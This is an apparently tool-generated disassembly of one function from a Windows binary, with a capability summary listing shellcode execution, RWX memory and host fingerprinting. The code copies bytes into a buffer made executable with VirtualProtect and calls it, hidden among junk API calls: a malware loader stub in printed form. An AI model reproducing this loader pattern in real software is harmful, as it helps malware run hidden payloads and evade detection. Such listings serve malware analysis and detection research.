Function at 0x401663
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1440
call fcn.0040e8f0
mov ecx, dword [0x1a6d9f8]
push esi
push edi
cmp ecx, 0x93
je 0x401825
mov eax, dword [0x4182d8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1a6d9fc], eax
push esi
mov dword [0x1a6d9f8], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x18]
mov dword [0x1a6d964], eax
push ecx
push 0x40
push dword [0x1a6d9f8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4016c1
mov edx, dword [0x1a6d9f8]
mov edi, esi
test edx, edx
je 0x401743
mov eax, dword [0x1a6d9fc]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1a6d964]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x40173e
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0x4157e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1a6d9f8]
inc edi
cmp edi, edx
jb 0x4016d6
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401784
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
push str.vofexugihonupigipireminu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1a6d9f8]
inc edi
cmp edi, 0x38681
jl 0x401745
push ecx
call fcn.00401620
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x4017a6
call fcn.00401647
inc edi
cmp edi, 0x674db
jl 0x401795
push 0x7b
pop edi
cmp dword [0x1a6d9f8], 0x86
jne 0x4017f2
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
push 0x4158a0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x3c]
push eax
push str.boruselahabafubayof
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1440]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x1a6d9f8], 0xf
jne 0x401805
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
dec edi
jne 0x4017b2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1a6d964]
mov dword [0x1a6d9ec], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.mewibuwowuwen
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
xor esi, esi
push esi
btr dword [eax], 0
lea eax, [ebp - 0xc40]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call fcn.00402b04
pop ecx
xorps xmm1, xmm1
xorps xmm0, xmm0
call fcn.00401080
push str.bad_exception
lea ecx, [ebp - 0x14]
call fcn.004010c6
lea ecx, [ebp - 0x14]
call fcn.004010e2
push esi
call fcn.004036bf
pop ecx
push esi
push esi
call fcn.00402a84
push esi
call fcn.00403683
add esp, 0xc
push esi
call fcn.00403956
pop ecx
call fcn.00402aa3
int3